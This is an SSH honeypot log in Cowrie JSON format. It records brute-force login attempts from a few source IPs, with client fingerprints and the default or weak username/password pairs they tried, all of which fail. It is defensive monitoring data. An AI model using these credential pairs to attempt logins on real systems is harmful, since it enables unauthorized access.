{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:06.304386Z","src_ip":"176.65.139.95","session":"7dd25a5f9221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:07.389489Z","src_ip":"176.65.139.95","session":"7dd25a5f9221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52466,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7704e0729ca","protocol":"ssh","message":"New connection: 176.65.139.95:52466 (159.203.135.109:22) [session: f7704e0729ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:12.163155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:12.167586Z","src_ip":"176.65.139.95","session":"f7704e0729ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:12.253084Z","src_ip":"176.65.139.95","session":"f7704e0729ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:12.677402Z","src_ip":"176.65.139.95","session":"f7704e0729ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:13.912967Z","src_ip":"176.65.139.95","session":"f7704e0729ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52472,"dst_ip":"159.203.135.109","dst_port":22,"session":"249dd8144818","protocol":"ssh","message":"New connection: 176.65.139.95:52472 (159.203.135.109:22) [session: 249dd8144818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:18.206694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:18.211668Z","src_ip":"176.65.139.95","session":"249dd8144818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:18.293505Z","src_ip":"176.65.139.95","session":"249dd8144818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:18.616571Z","src_ip":"176.65.139.95","session":"249dd8144818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:19.711369Z","src_ip":"176.65.139.95","session":"249dd8144818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46394,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f836130ba6","protocol":"ssh","message":"New connection: 176.65.139.95:46394 (159.203.135.109:22) [session: 21f836130ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:24.288080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:24.293505Z","src_ip":"176.65.139.95","session":"21f836130ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:24.379682Z","src_ip":"176.65.139.95","session":"21f836130ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:24.677146Z","src_ip":"176.65.139.95","session":"21f836130ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:25.762637Z","src_ip":"176.65.139.95","session":"21f836130ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35310,"dst_ip":"159.203.135.109","dst_port":22,"session":"07d07c9cae93","protocol":"ssh","message":"New connection: 159.203.92.129:35310 (159.203.135.109:22) [session: 07d07c9cae93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:27.790636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:27.796576Z","src_ip":"159.203.92.129","session":"07d07c9cae93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:27.801079Z","src_ip":"159.203.92.129","session":"07d07c9cae93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Fank","password":"123456","message":"login attempt [Fank/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:27.857845Z","src_ip":"159.203.92.129","session":"07d07c9cae93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:28.867898Z","src_ip":"159.203.92.129","session":"07d07c9cae93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35698,"dst_ip":"159.203.135.109","dst_port":22,"session":"03bc2a3368a4","protocol":"ssh","message":"New connection: 176.65.139.95:35698 (159.203.135.109:22) [session: 03bc2a3368a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:31.069105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:31.083202Z","src_ip":"176.65.139.95","session":"03bc2a3368a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:31.152831Z","src_ip":"176.65.139.95","session":"03bc2a3368a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:31.471887Z","src_ip":"176.65.139.95","session":"03bc2a3368a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:32.557552Z","src_ip":"176.65.139.95","session":"03bc2a3368a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35710,"dst_ip":"159.203.135.109","dst_port":22,"session":"e597ede8f070","protocol":"ssh","message":"New connection: 176.65.139.95:35710 (159.203.135.109:22) [session: e597ede8f070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:37.451972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:37.458248Z","src_ip":"176.65.139.95","session":"e597ede8f070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:37.553255Z","src_ip":"176.65.139.95","session":"e597ede8f070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:37.987211Z","src_ip":"176.65.139.95","session":"e597ede8f070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:39.167078Z","src_ip":"176.65.139.95","session":"e597ede8f070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42276,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fc9ae5c5e62","protocol":"ssh","message":"New connection: 176.65.139.95:42276 (159.203.135.109:22) [session: 0fc9ae5c5e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:43.884259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:43.894095Z","src_ip":"176.65.139.95","session":"0fc9ae5c5e62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:43.990645Z","src_ip":"176.65.139.95","session":"0fc9ae5c5e62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:44.684585Z","src_ip":"176.65.139.95","session":"0fc9ae5c5e62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:45.784743Z","src_ip":"176.65.139.95","session":"0fc9ae5c5e62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40650,"dst_ip":"159.203.135.109","dst_port":22,"session":"792648e8771b","protocol":"ssh","message":"New connection: 176.65.139.95:40650 (159.203.135.109:22) [session: 792648e8771b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:50.466784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:50.471556Z","src_ip":"176.65.139.95","session":"792648e8771b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:50.582471Z","src_ip":"176.65.139.95","session":"792648e8771b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:50.833674Z","src_ip":"176.65.139.95","session":"792648e8771b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:52.058363Z","src_ip":"176.65.139.95","session":"792648e8771b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":47462,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ac8c12b356a","protocol":"ssh","message":"New connection: 79.116.23.158:47462 (10.17.0.5:22) [session: 7ac8c12b356a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:54.754639Z"}
